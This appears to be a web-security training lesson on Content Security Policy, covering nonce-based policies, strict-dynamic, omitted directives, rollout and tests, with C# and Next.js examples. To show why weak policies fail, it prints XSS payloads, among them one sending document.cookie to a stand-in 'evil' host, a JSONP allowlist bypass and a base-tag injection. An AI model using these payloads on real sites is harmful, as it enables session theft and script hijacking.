SecLab

Content Security Policy

V3
01

What it is

A Content Security Policy is a header telling the browser which scripts may run on your page. It does not fix XSS — it converts "the attacker injected code and it ran" into "the attacker injected HTML that does nothing". This is defence in depth, not a fix.

02

Why you should care

Relevance: CoreExpected: L2

The most important thing about CSP: most policies running on the internet protect nothing, and they look entirely reasonable.

Google's research (Weichselbaum et al., CCS 2016) scanned over a billion pages and concluded 94.7% of policies were trivially bypassable. Three causes, all still common:

  • unsafe-inline. It is what people add to make the page work again, and it disables almost all of CSP's value against XSS.
  • Domain allowlists. script-src 'self' https://cdn.example looks tight, but if that CDN hosts a library with a JSONP endpoint, or an old AngularJS, the attacker uses your own allowlisted domain to run code. Google's phrase for this is that allowlists "do not work at scale".
  • 'self' plus a file upload field. If users can upload files to the same origin, 'self' permits those files — see file-upload layer 3.

So a CSP worth deploying has exactly one shape: nonces or hashes, plus 'strict-dynamic'. It does not depend on you allowlisting the right domains — it depends on a script carrying a value only your server knows.

And one truth about cost: a nonce-based CSP cannot be deployed as an added header. It forces you to remove every onclick= from your HTML and every <script> without a nonce. That is real work, and it is why most projects stop at a policy containing unsafe-inline.

03

How the attack works

A CSP is a list of directives, and the browser checks each resource before loading or running it. The mechanism worth understanding is how a nonce works and why it beats an allowlist.

Diagram source
flowchart TD    R["Request for /profile"] --> S["Server generates a random nonce<br/>r4nd0m-per-request"]    S --> H["Header: script-src #quot;nonce-r4nd0m#quot; #quot;strict-dynamic#quot;"]    S --> B["HTML: script nonce=#quot;r4nd0m#quot;<br/>app.js"]    H --> BR{Browser checks<br/>each script tag}    B --> BR    BR -->|"nonce matches"| OK["✅ Runs"]    BR -->|"XSS injected a script tag<br/>with NO nonce"| NO["❌ Blocked"]    OK --> SD["strict-dynamic: this script<br/>may load further scripts"]

The key point: the attacker can inject HTML but does not know the nonce. It is regenerated per request, so there is no way to guess it or recover it from an earlier response. That is why nonces beat allowlists: an allowlist asks "where did this script come from", a nonce asks "did my server emit this tag".

'strict-dynamic' is the directive that makes CSP workable with a real bundler. Without it, every chunk webpack or Vite loads dynamically is blocked — and then people turn CSP off. It says: a script already trusted (it has the nonce) is trusted to create further scripts via document.createElement("script"). It also causes domain allowlists to be ignored, and that is intended.

Four directives nearly every real-world CSP is missing — each closes a specific bypass:

DirectiveWhat it closesIf missing
object-src 'none'<object>, <embed>An injectable plugin that runs code
base-uri 'none'<base href="https://evil">Every relative URL, scripts included, retargets
form-action 'self'<form action="https://evil">An injected form exfiltrates data
require-trusted-types-for 'script'The DOM XSS family at API levelinnerHTML still accepts raw strings

base-uri is the most-omitted directive and it bypasses even a nonce-based CSP: injecting <base> makes <script nonce="…" src="/app.js"> load from the attacker's domain — the nonce still matches, and the code is theirs.

Diagram description: The diagram shows the flow of a nonce-based CSP. The server generates a fresh random nonce per request, places it in the script-src header alongside strict-dynamic, and stamps that same nonce onto the script tags in the HTML. The browser checks each script tag: one with a matching nonce runs, one injected by XSS with no nonce is blocked. A script that ran is permitted to load further scripts thanks to strict-dynamic, so a bundler splitting chunks dynamically still works.

04

Concrete example

Four policies. The first three look reasonable and none of them protects anything.

HTTP
# ① With unsafe-inline. The most common CSP in the wild, and useless against XSS.Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
html
<!-- The payload walks through with no technique at all: --><img src=x onerror="fetch('https://evil/?c='+document.cookie)">
HTTP
# ② A domain allowlist. Looks tight, and one JSONP endpoint on the CDN breaks it.Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net
html
<!-- The allowlisted CDN hosts a library with JSONP → arbitrary code execution --><script src="https://cdn.jsdelivr.net/npm/…/jsonp?callback=alert(document.domain)//"></script>
HTTP
# ③ A nonce — but with unsafe-inline too. Older browsers honour unsafe-inline and IGNORE the nonce.Content-Security-Policy: script-src 'nonce-r4nd0m' 'unsafe-inline'
HTTP
# ④ After the fix. Nonce, strict-dynamic, and the four commonly-omitted directives.Content-Security-Policy: default-src 'none';  script-src 'nonce-r4nd0m' 'strict-dynamic' https:;  style-src 'self' 'unsafe-inline';  img-src 'self' data: https:;  connect-src 'self';  font-src 'self';  object-src 'none';  base-uri 'none';  form-action 'self';  frame-ancestors 'none';  require-trusted-types-for 'script';  report-uri /api/csp-report

And the bypass of policy ④ if base-uri were missing — this is why that line is there:

html
<!-- The nonce still matches. But <base> retargets every relative URL, so --><!-- <script nonce="r4nd0m" src="/app.js"> loads from evil.example/app.js. --><base href="https://evil.example/">
C#Three policies, three reasonable rationales, and none of them protects anything.
// ── ① CSP phổ biến nhất trên Internet ──────────────────────────────────────app.Use(async (ctx, next) =>{    // ❌ unsafe-inline. Nó được thêm vào vì trang vỡ khi thiếu nó, và nó tắt gần    //    như toàn bộ giá trị của CSP đối với XSS: <img src=x onerror="..."> đi qua    //    mà không cần kỹ thuật gì.    //    //    Nghiên cứu của Google (CCS 2016) quét hơn một tỉ trang: 94,7% CSP vòng qua    //    được, và đây là nguyên nhân số một.    ctx.Response.Headers["Content-Security-Policy"] =        "default-src 'self'; script-src 'self' 'unsafe-inline'";    await next();}); // ── ② Allowlist domain. Trông chặt hơn, và vẫn vòng qua được ───────────────app.Use(async (ctx, next) =>{    // ❌ Một CDN trong allowlist host một thư viện có JSONP endpoint, hay một    //    AngularJS cũ, là đủ để chạy code tuỳ ý — bằng chính domain bạn đã cho phép.    //    Đây là nguyên nhân số hai trong bài báo, và nó là lý do allowlist không    //    dùng được ở quy mô thật.    ctx.Response.Headers["Content-Security-Policy"] =        "script-src 'self' https://cdn.jsdelivr.net https://unpkg.com";    await next();}); // ── ③ Nonce — nhưng có cả unsafe-inline ────────────────────────────────────// ❌ Trình duyệt hiện tại bỏ unsafe-inline khi có nonce, nhưng trình duyệt cũ làm//    NGƯỢC LẠI: dùng unsafe-inline và bỏ nonce. Nonce thành trang trí.////    Dòng này thường xuất hiện vì ai đó thêm nonce mà không dám bỏ unsafe-inline.ctx.Response.Headers["Content-Security-Policy"] =    $"script-src 'nonce-{nonce}' 'unsafe-inline'"; // ── Và một CSP đúng nhưng đặt sai chỗ ──────────────────────────────────────// ❌ frame-ancestors, report-uri và sandbox bị BỎ QUA hoàn toàn trong <meta>.//    Policy trông đầy đủ, thiếu đúng ba chỉ thị đó, và không có gì báo lỗi.//    Thêm nữa: <meta> chỉ có hiệu lực từ chỗ nó xuất hiện trong tài liệu.// <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'none'; report-uri /csp">
TypeScriptNext.js: a nonce in the header but no nonce on the app scripts → forced to add unsafe-inline.
// next.config.tsconst csp = [  "default-src 'self'",  // ❌ Nonce đặt trong header nhưng KHÔNG truyền xuống các thẻ script mà Next sinh  //    ra, nên toàn bộ app vỡ. Cách "sửa" mà mọi người chọn là thêm unsafe-inline —  //    và lúc đó nonce chỉ còn là trang trí.  //  //    Nguyên nhân thật: nonce phải sinh ở MIDDLEWARE (per-request) và truyền qua  //    header để Next đọc lại, không đặt tĩnh trong config.  "script-src 'self' 'unsafe-inline' 'unsafe-eval'",].join("; "); export default {  async headers() {    return [{ source: "/(.*)", headers: [{ key: "Content-Security-Policy", value: csp }] }];  },};
05

What happened in the wild

British Airways, 2018 — 429,612 customers, £20m fine (cited in the xss topic, repeated here for a different angle). Magecart modified a JavaScript file hosted on BA's own site. What CSP would have done and BA lacked: connect-src 'self' would have blocked that script from posting to baways.com, and report-uri would have reported the first attempt. BA did not detect it for 15 days — and that is the number report-uri exists to fix.

Google's CCS 2016 paper — "CSP Is Dead, Long Live CSP!" Scanning over a billion pages: 94.7% of policies were bypassable. The leading cause was unsafe-inline, the second was a domain allowlist containing an endpoint capable of arbitrary code execution. This is the paper that produced 'strict-dynamic', and it is why block 6 says a worthwhile CSP has one shape.

And one failure mode worth knowing: a correct policy delivered via <meta>. frame-ancestors, report-uri and sandbox are entirely ignored in a <meta> tag — so a policy that looks complete is missing exactly those three, and nothing reports an error.

06

How to defend

Layer 1

A per-request nonce plus `strict-dynamic` — and NO `unsafe-inline`

mandatory

The research in block 5 is the whole argument: domain allowlists fail at real scale, so a worthwhile CSP has exactly one shape.

Four rules, and dropping any one makes the policy meaningless:

  1. A fresh nonce PER request from a CSPRNG, ≥16 bytes. A reused nonce is one the attacker read from an earlier response and used for their own payload.
  2. NO unsafe-inline alongside the nonce. Current browsers ignore unsafe-inline when a nonce is present, but older ones do the opposite — and then the nonce is decoration. If you need that compatibility, it is a decision to write down, not a line added for convenience.
  3. 'strict-dynamic' so a bundler splitting chunks dynamically still works. Without it, CSP breaks on the next build and people disable it — the actual cause of most abandoned policies.
  4. https: as a fallback for browsers that do not understand strict-dynamic. It is loose, but browsers that do understand strict-dynamic ignore it — so it only applies to old ones.

And state the cost plainly: this policy forces removing every onclick= from your HTML and every <script> without a nonce. That is real work, usually several days for a mid-sized app — and it is why most projects stop at unsafe-inline. The route in: turn on Report-Only first, fix everything it reports, then switch to enforcement.

C# · Layer 1Per-request nonce, strict-dynamic, the four omitted directives, and parallel Report-Only.
/// <summary>/// CSP dạng nonce. Đây là hình dạng DUY NHẤT đáng triển khai, theo kết luận của/// nghiên cứu Google ở khối 5: allowlist domain thất bại ở quy mô thật, vì bạn không/// kiểm soát được nội dung của một domain bạn cho phép.////// Nonce đổi câu hỏi: allowlist hỏi "script này đến từ đâu", nonce hỏi "SERVER CỦA/// TÔI có sinh ra thẻ này không". Kẻ tấn công chèn được HTML nhưng không biết nonce./// </summary>public sealed class CspMiddleware(RequestDelegate next){    /// <summary>Khoá để Razor/view đọc lại nonce và gắn vào thẻ script.</summary>    public const string NonceKey = "csp-nonce";     public async Task InvokeAsync(HttpContext ctx)    {        // 16 byte từ CSPRNG, base64url. Sinh MỖI request: một nonce dùng lại là một        // nonce kẻ tấn công đọc được từ response trước rồi dùng cho payload của họ.        var nonce = WebEncoders.Base64UrlEncode(RandomNumberGenerator.GetBytes(16));        ctx.Items[NonceKey] = nonce;         var policy = string.Join("; ",        [            // default-src 'none', KHÔNG 'self': mọi loại tài nguyên đóng theo mặc            // định rồi mở từng cái. Chiều này quan trọng — với 'self', một loại tài            // nguyên mới trong chuẩn CSP tương lai sẽ mặc định được phép.            "default-src 'none'",             // KHÔNG có unsafe-inline. Đặt cùng nonce thì trình duyệt cũ dùng            // unsafe-inline và bỏ nonce.            //            // strict-dynamic để bundler chia chunk động vẫn chạy — thiếu nó thì CSP            // vỡ ở lần build sau và người ta TẮT nó, đó là nguyên nhân thật của phần            // lớn trường hợp CSP bị bỏ. https: là fallback cho trình duyệt không            // hiểu strict-dynamic; trình duyệt hiểu nó thì bỏ qua https:.            $"script-src 'nonce-{nonce}' 'strict-dynamic' https:",             // CSS inline không chạy được code, nên unsafe-inline ở đây là đánh đổi            // chấp nhận được — và style-src nonce làm vỡ gần như mọi CSS-in-JS.            "style-src 'self' 'unsafe-inline'",            "img-src 'self' data: https:",            "font-src 'self'",            "connect-src 'self'",             // ── Bốn chỉ thị mà gần như mọi CSP thực tế đều thiếu ────────────────            // <object>/<embed> chạy được code, và default-src không phủ chúng ở            // một số trình duyệt.            "object-src 'none'",             // Chỉ thị bị bỏ NHIỀU NHẤT, và là chỉ thị vòng qua được cả nonce:            // <base href="https://evil/"> làm <script nonce="..." src="/app.js">            // nạp từ domain kẻ tấn công — nonce vẫn khớp, code là của họ.            // Nếu chỉ thêm được một dòng vào một CSP đang có, thêm dòng này.            "base-uri 'none'",             // Không có nó, CSP chặn script nhưng một <form action="https://evil">            // đã chèn vẫn gửi dữ liệu người dùng vừa gõ ra ngoài.            "form-action 'self'",             // Clickjacking, cùng một header — xem topic clickjacking.            "frame-ancestors 'none'",             // Đóng cả họ DOM XSS ở TẦNG API: innerHTML không nhận chuỗi thô nữa,            // nó đòi một TrustedHTML. Biện pháp duy nhất ở đây tác động vào nguyên            // nhân của DOM XSS thay vì vào từng chỗ gọi.            "require-trusted-types-for 'script'",             // GIỮ sau khi cưỡng chế. Mỗi report là một trong hai thứ: một trang bị            // vỡ (bug của ta) hoặc MỘT LẦN XSS BỊ CHẶN. Đây là thứ British Airways            // thiếu trong 15 ngày.            "report-uri /api/csp-report",        ]);         ctx.Response.Headers["Content-Security-Policy"] = policy;         // Mẫu để đổi policy về sau mà không có cửa sổ không được bảo vệ: chạy        // Report-Only với policy MỚI song song với cưỡng chế policy CŨ. Hai header        // cùng lúc là hợp lệ.        // ctx.Response.Headers["Content-Security-Policy-Report-Only"] = nextPolicy;         await next(ctx);    }} // Program.cs — đặt SỚM để phủ cả trang lỗi do middleware sau ném ra.app.UseMiddleware<CspMiddleware>();app.UseExceptionHandler("/error"); // ── Razor: gắn nonce vào thẻ script ────────────────────────────────────────// @{ var nonce = (string)Context.Items[CspMiddleware.NonceKey]!; }// <script nonce="@nonce" src="~/js/app.js"></script>//// Không còn onclick= nào trong HTML, và không còn <script> nào không có nonce.// Đây là công việc thật của việc triển khai CSP — thường vài ngày cho một app cỡ// trung, và là lý do phần lớn dự án dừng ở unsafe-inline. // ── Nhận báo cáo ───────────────────────────────────────────────────────────[HttpPost("/api/csp-report")][AllowAnonymous][EnableRateLimiting("csp-report")]public async Task<IActionResult> Report(CancellationToken ct){    using var doc = await JsonDocument.ParseAsync(Request.Body, cancellationToken: ct);    var r = doc.RootElement.GetProperty("csp-report");    var blocked = r.TryGetProperty("blocked-uri", out var b) ? b.GetString() ?? "" : "";     // Lọc nhiễu từ extension: nếu không, chúng chiếm hơn 90% report và làm cả    // dashboard vô dụng — rồi không ai xem nó nữa.    if (blocked.StartsWith("chrome-extension:") || blocked.StartsWith("moz-extension:")        || blocked.StartsWith("safari-extension:"))        return NoContent();     _log.LogWarning("Vi phạm CSP: {Directive} chặn {Blocked} trên {Document}",        r.TryGetProperty("violated-directive", out var d) ? d.GetString() : "?",        blocked,        r.TryGetProperty("document-uri", out var u) ? u.GetString() : "?");     return NoContent();}
TypeScript · Layer 1The nonce is generated per request in middleware and passed via a header for the framework to read.
// middleware.ts — Next.js App Routerimport { NextResponse, type NextRequest } from "next/server"; export function middleware(req: NextRequest) {  // Sinh MỖI request. Web Crypto vì middleware chạy ở Edge runtime, không có  // node:crypto — và crypto.randomUUID() thì entropy thấp hơn 16 byte thô.  const bytes = new Uint8Array(16);  crypto.getRandomValues(bytes);  const nonce = btoa(String.fromCharCode(...bytes)).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, "");   const csp = [    "default-src 'none'",    // KHÔNG unsafe-inline. strict-dynamic là dòng làm CSP sống được với chunk động    // của Next — thiếu nó thì mọi route mới nạp bị chặn và người ta tắt CSP.    "script-src 'nonce-" + nonce + "' 'strict-dynamic' https:",    "style-src 'self' 'unsafe-inline'",    "img-src 'self' data: https:",    "font-src 'self'",    "connect-src 'self'",    // Bốn chỉ thị hay bị bỏ. base-uri là cái vòng qua được cả nonce.    "object-src 'none'",    "base-uri 'none'",    "form-action 'self'",    "frame-ancestors 'none'",    "report-uri /api/csp-report",  ].join("; ");   // Truyền nonce xuống bằng REQUEST header: Next đọc x-nonce và tự gắn nó vào mọi  // thẻ script nó sinh ra. Đây là mảnh mà bản lỗi thiếu — nonce trong response  // header mà script không có nonce thì trang vỡ, và người ta thêm unsafe-inline.  const headers = new Headers(req.headers);  headers.set("x-nonce", nonce);   const res = NextResponse.next({ request: { headers } });  res.headers.set("Content-Security-Policy", csp);  return res;} // Áp cho mọi route TRỪ tài nguyên tĩnh: _next/static không cần CSP và thêm header// vào đó chỉ làm tăng kích thước mỗi response.export const config = {  matcher: ["/((?!_next/static|_next/image|favicon.ico).*)"],}; // ── Dùng nonce trong layout ────────────────────────────────────────────────// import { headers } from "next/headers";//// export default async function RootLayout({ children }) {//   const nonce = (await headers()).get("x-nonce") ?? undefined;//   return (//     <html>//       <body>//         {children}//         {/* Mọi script tự viết phải mang nonce. Script của Next tự có nhờ x-nonce. */}//         <Script nonce={nonce} src="/js/analytics.js" strategy="afterInteractive" />//       </body>//     </html>//   );// }
Layer 1b

The four directives nearly every CSP is missing

mandatory

The block 3 table lists them, and each closes a bypass of the nonce-based policy itself:

  • base-uri 'none' — the most-omitted directive, and the one that bypasses a nonce. Injecting <base href="https://evil/"> makes <script nonce="…" src="/app.js"> load from the attacker's domain: the nonce still matches, the code is theirs. If you can add only one line to your current policy, add this.
  • object-src 'none'<object>/<embed> can execute code, and default-src does not cover them in some browsers.
  • form-action 'self' — without it, an injected <form action="https://evil"> exfiltrates data (including what the user just typed). A CSP that blocks script but not forms is a CSP that still leaks data.
  • require-trusted-types-for 'script' — closes the DOM XSS family at the API level rather than at each call site: innerHTML no longer accepts a raw string, it demands a TrustedHTML. This is the only control on the list that acts on the cause of DOM XSS.

Plus default-src 'none' as the base: every resource type closed by default, then opened one at a time. The direction matters — default-src 'self' means a new resource type in a future CSP revision is permitted by default.

Layer 1c

An HTTP header, not a `<meta>` tag

mandatory

A small detail that leaves an apparently complete policy missing three important directives, with nothing reporting an error:

frame-ancestors, report-uri/report-to, and sandbox are entirely IGNORED in <meta>.

Which means a CSP delivered via <meta http-equiv="Content-Security-Policy">:

  • provides no clickjacking protection (see the clickjacking topic),
  • reports nothing — so you lose the detection half, the thing BA needed for 15 days,
  • and sandbox has no effect.

On top of that, a <meta> policy only takes effect from where it appears in the document, so everything above it in the HTML is unprotected.

<meta> is right for exactly one case: a static page hosted somewhere you cannot set headers. Otherwise set it in one middleware — same reasoning as the clickjacking topic: error pages and intermediate redirects pass through no action, and a page without a CSP is a page without a CSP.

Layer 2

`Report-Only` first, then enforce — and keep reporting forever

mandatory

CSP is the only control in this catalogue where how you roll it out matters as much as the policy, because a CSP that breaks the page gets switched off within the hour.

Three steps, and step three never ends:

  1. Content-Security-Policy-Report-Only with the target policy. It blocks nothing and only reports. Run it for a week or two against real production — staging lacks the browser and extension diversity.
  2. Fix everything it reports. This is the real work: removing onclick=, stamping nonces, moving inline scripts into files. Reports will be noisy from browser extensions — filter on blocked-uri starting with chrome-extension: or moz-extension:.
  3. Switch to enforcement, and KEEP report-uri. This is the commonly skipped part: after enforcement, each report is one of two things — a broken page (our bug) or an XSS attempt blocked (an attack in progress). You need to know about both.

And a workable pattern for changing the policy later: run Report-Only with the NEW policy alongside enforcement of the OLD one. Two headers at once is valid, and it lets you change the policy with no unprotected window.

Layer 3

CSP does not replace output encoding

This layer is a reminder about ordering, and it earns its place because CSP is easy to mistake for a fix.

CSP is layer 2 of the xss topic, not layer 1. It converts "can run code" into "can inject HTML that does not run" — and injectable HTML still does plenty:

  • Rewrite the page content (phishing inside your own origin, so the URL and TLS are genuine).
  • An injected <form> exfiltrating data (if form-action is missing).
  • Leaking data via <img src="https://evil/?d=…"> if img-src is broad.
  • Reading the CSRF token from the DOM and using it another way.

So the correct order: context-aware encoding first (xss layer 1), CSP as the net. A project with a perfect CSP and no output encoding has one layer of defence; the reverse is also one. Both together is two.

And add SRI for third-party scripts (xss layer 2b): CSP says who may run, SRI says what content — and the British Airways attack changed the content of an already-permitted file.

07

Verifying the fix

1. Check the policy has no unsafe-inline alongside the nonce — the most common mistake, and it turns the nonce into decoration:

Shell
B=https://app.exampleC=$(curl -sI "$B/" | tr -d '\r' | grep -i '^content-security-policy:') echo "$C" | grep -q 'nonce-' || { echo "the CSP does not use a nonce"; exit 1; }echo "$C" | grep -q "unsafe-inline" \  && { echo "unsafe-inline ALONGSIDE a nonce — older browsers ignore the nonce"; exit 1; }echo "$C" | grep -q "unsafe-eval" && echo "  (warning) unsafe-eval present" # The four commonly-omitted directives — base-uri is the one that bypasses a noncefor d in "object-src" "base-uri" "form-action" "frame-ancestors"; do  echo "$C" | grep -q "$d" || echo "  MISSING: $d"doneexit 0

2. Check the nonce CHANGES between requests. A reused nonce is one the attacker read from an earlier response and used for their own payload:

Shell
n1=$(curl -sI "$B/" | grep -io 'nonce-[A-Za-z0-9+/=_-]*' | head -1)n2=$(curl -sI "$B/" | grep -io 'nonce-[A-Za-z0-9+/=_-]*' | head -1)[ "$n1" != "$n2" ] || { echo "the nonce does NOT change between requests"; exit 1; }[ ${#n1} -ge 22 ]  || { echo "nonce too short: $n1"; exit 1; }

3. Check the CSP is on EVERY HTML response, error pages included — same list as the clickjacking topic. The 404 and 500 pages take another route and are usually the only places still missing it.

4. Counting tests and nonce tests in CI. See the csharp / test tab. The important part is that the test asserts the nonce in the header matches the nonce in the HTML — those two are written by two different pieces of code, so they can drift, and when they do the page goes blank.

5. Check for real in a browser. The only check that proves the policy works:

JavaScript
// Playwright: inject a script with no nonce and assert it does NOT run.test("CSP blocks a script without a nonce", async ({ page }) => {  const violations = [];  page.on("console", (m) => { if (m.text().includes("Content Security Policy")) violations.push(m.text()); });   await page.goto(`${BASE}/`);  await page.evaluate(() => {    const s = document.createElement("script");    s.textContent = "window.__pwned = true";    document.body.appendChild(s);   // no nonce  });   expect(await page.evaluate(() => window.__pwned)).toBeUndefined();  expect(violations.length).toBeGreaterThan(0);});

6. Treat report-uri as a dashboard, not a log. After enforcement, each report is either a broken page (our bug) or a blocked XSS attempt (an attack in progress). Alert on newly appearing blocked-uri values, and filter out chrome-extension:/moz-extension: — otherwise extension noise makes the whole dashboard useless.

C#The test asserts the header nonce matches the HTML nonce — two places, two pieces of code.
public class CspTests : IClassFixture<ApiFixture>{    private readonly ApiFixture _fx;     public CspTests(ApiFixture fx) => _fx = fx;     private static string Csp(HttpResponseMessage r) =>        r.Headers.TryGetValues("Content-Security-Policy", out var v) ? string.Join("; ", v) : "";     /// <summary>    /// Sai lầm phổ biến nhất, và nó biến nonce thành trang trí: trình duyệt cũ dùng    /// unsafe-inline và bỏ nonce. Test này là thứ chặn ai đó thêm nó lại vì "trang vỡ".    /// </summary>    [Fact]    public async Task Policy_uses_a_nonce_and_no_unsafe_inline()    {        var csp = Csp(await _fx.Client.GetAsync("/"));         Assert.Contains("nonce-", csp);        Assert.Contains("'strict-dynamic'", csp);        Assert.DoesNotContain("unsafe-inline", csp.Split("style-src")[0]);   // script-src thôi        Assert.DoesNotContain("unsafe-eval", csp);    }     /// <summary>    /// Bốn chỉ thị ở khối 3. base-uri là cái quan trọng nhất: thiếu nó thì một    /// &lt;base&gt; chèn được làm script CÓ NONCE nạp từ domain kẻ tấn công — nonce    /// vẫn khớp, và cả policy trở thành vô nghĩa.    /// </summary>    [Theory]    [InlineData("object-src 'none'")]    [InlineData("base-uri 'none'")]    [InlineData("form-action 'self'")]    [InlineData("frame-ancestors 'none'")]    [InlineData("require-trusted-types-for 'script'")]    public async Task Policy_contains_the_commonly_omitted_directives(string directive)    {        Assert.Contains(directive, Csp(await _fx.Client.GetAsync("/")));    }     /// <summary>    /// Nonce phải ĐỔI mỗi request. Một nonce cố định là một nonce kẻ tấn công đọc    /// được từ response trước rồi dùng cho payload của mình — và lúc đó CSP không    /// bảo vệ gì cả trong khi vẫn trông như đang bảo vệ.    /// </summary>    [Fact]    public async Task Nonce_is_fresh_and_long_enough()    {        var nonces = new HashSet<string>();         for (var i = 0; i < 5; i++)        {            var m = Regex.Match(Csp(await _fx.Client.GetAsync("/")), @"nonce-([A-Za-z0-9+/=_-]+)");            Assert.True(m.Success);            // 16 byte base64url = 22 ký tự. Ngắn hơn là đoán được.            Assert.True(m.Groups[1].Value.Length >= 22, $"nonce quá ngắn: {m.Groups[1].Value}");            nonces.Add(m.Groups[1].Value);        }         Assert.Equal(5, nonces.Count);    }     /// <summary>    /// Nonce trong HEADER phải khớp nonce trong HTML.    ///    /// Hai chỗ đó do HAI đoạn code khác nhau ghi — middleware và view — nên chúng    /// lệch nhau được, và khi lệch thì mọi script bị chặn và trang trắng. Đây là    /// dạng lỗi mà không test nào ở trên bắt được, vì cả header lẫn HTML đều "đúng"    /// khi xét riêng.    /// </summary>    [Fact]    public async Task Header_nonce_matches_the_html_nonce()    {        var res = await _fx.Client.GetAsync("/");        var html = await res.Content.ReadAsStringAsync();         var headerNonce = Regex.Match(Csp(res), @"nonce-([A-Za-z0-9+/=_-]+)").Groups[1].Value;        var htmlNonces = Regex.Matches(html, @"<script[^>]*nonce=""([^""]+)""")            .Select(m => m.Groups[1].Value).Distinct().ToList();         Assert.NotEmpty(htmlNonces);        Assert.All(htmlNonces, n => Assert.Equal(headerNonce, n));         // Và không còn thẻ script nào KHÔNG có nonce: một cái sót lại nghĩa là        // trang đó vỡ khi cưỡng chế, và ai đó sẽ "sửa" bằng unsafe-inline.        var withoutNonce = Regex.Matches(html, @"<script(?![^>]*nonce=)[^>]*>")            .Select(m => m.Value).ToList();        Assert.Empty(withoutNonce);    }     /// <summary>    /// Không còn handler inline nào trong HTML. Đây là phần công việc thật của việc    /// triển khai CSP nonce, và test này là thứ giữ nó không quay lại.    /// </summary>    [Fact]    public async Task No_inline_event_handlers_in_rendered_html()    {        var html = await (await _fx.Client.GetAsync("/")).Content.ReadAsStringAsync();         var handlers = Regex.Matches(html, @"son(click|load|error|mouseover|submit|change)s*=")            .Select(m => m.Value.Trim()).Distinct().ToList();         Assert.Empty(handlers);    }     /// <summary>    /// CSP trên MỌI response HTML, kể cả trang 404 và 500 — chúng đi đường khác và    /// thường là chỗ duy nhất còn thiếu. Cùng danh sách như topic clickjacking.    /// </summary>    [Theory]    [InlineData("/")]    [InlineData("/login")]    [InlineData("/settings")]    [InlineData("/not-a-real-page")]    [InlineData("/error")]    public async Task Every_html_response_carries_a_policy(string path)    {        Assert.Contains("script-src", Csp(await _fx.Client.GetAsync(path)));    }}
08

Common mistakes

The "fix"Why it is wrong
script-src 'self' 'unsafe-inline'Useless against XSS: <img onerror> walks through. This is the most common CSP on the internet
A nonce and unsafe-inlineOlder browsers honour unsafe-inline and ignore the nonce. The nonce is decoration
A domain allowlistGoogle scanned a billion pages: 94.7% bypassable. One JSONP endpoint on an allowlisted CDN is enough
script-src 'self' plus a file upload field'self' permits the very file a user uploaded. See the file-upload topic
A nonce reused across requestsThe attacker reads it from one response and uses it for their payload
Missing base-uri<base href="https://evil/"> makes your nonced script load from the attacker's domain. The nonce still matches
Missing form-actionThe CSP blocks script but an injected <form> still exfiltrates data
Delivering the CSP via <meta>frame-ancestors, report-uri and sandbox are entirely IGNORED, and nothing reports an error
Dropping report-uri after enforcementYou lose the detection half. This is what BA lacked for 15 days
Enforcing immediately without Report-OnlyThe page breaks, and the CSP is switched off within the hour. Rollout matters as much as the policy
Treating CSP as the XSS fixIt is layer 2. Injectable HTML still phishes inside your own origin, with a genuine URL and genuine TLS

The purpose mistake, and the root of every row above: thinking CSP is a header you add to "improve the security score". A policy with unsafe-inline does raise scanner scores, and it protects almost nothing — which makes it worse than no CSP: it creates the feeling that XSS is handled.

The cost mistake: believing a nonce-based CSP ships in one sprint as a config line. It forces removing every onclick= and every inline script — several days for a mid-sized app. Stating that number up front is the only way a project does not stop at unsafe-inline.

09

References

Tier 1Content Security Policy Level 3 · W3C · Working Draft · CSP3
Tier 1CSP: strict-dynamic · MDN · HTTP reference · 2025
Tier 1Trusted Types · W3C · Working Draft · 2025
Tier 1A05:2021 – Security Misconfiguration · OWASP · Top 10 · 2021
Tier 2Content security policy · PortSwigger · Web Security Academy
Tier 2Content Security Policy Cheat Sheet · OWASP · Cheat Sheet Series
Tier 3CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of CSP · Weichselbaum, Spagnuolo, Lekies, Janc — Google (ACM CCS 2016)
Part of path
Secure Backend DeveloperView path

Comments

Join the discussion
Sign up to comment

Commenting needs an account with at least one completed lesson. That condition is what keeps this thread worth reading: every point belongs to someone who can be asked back, and reputation accrues over time.

Sign upSign in

You can still read every comment below without an account. Signing in brings you back to this exact spot, not to the top of the page.

Loading comments…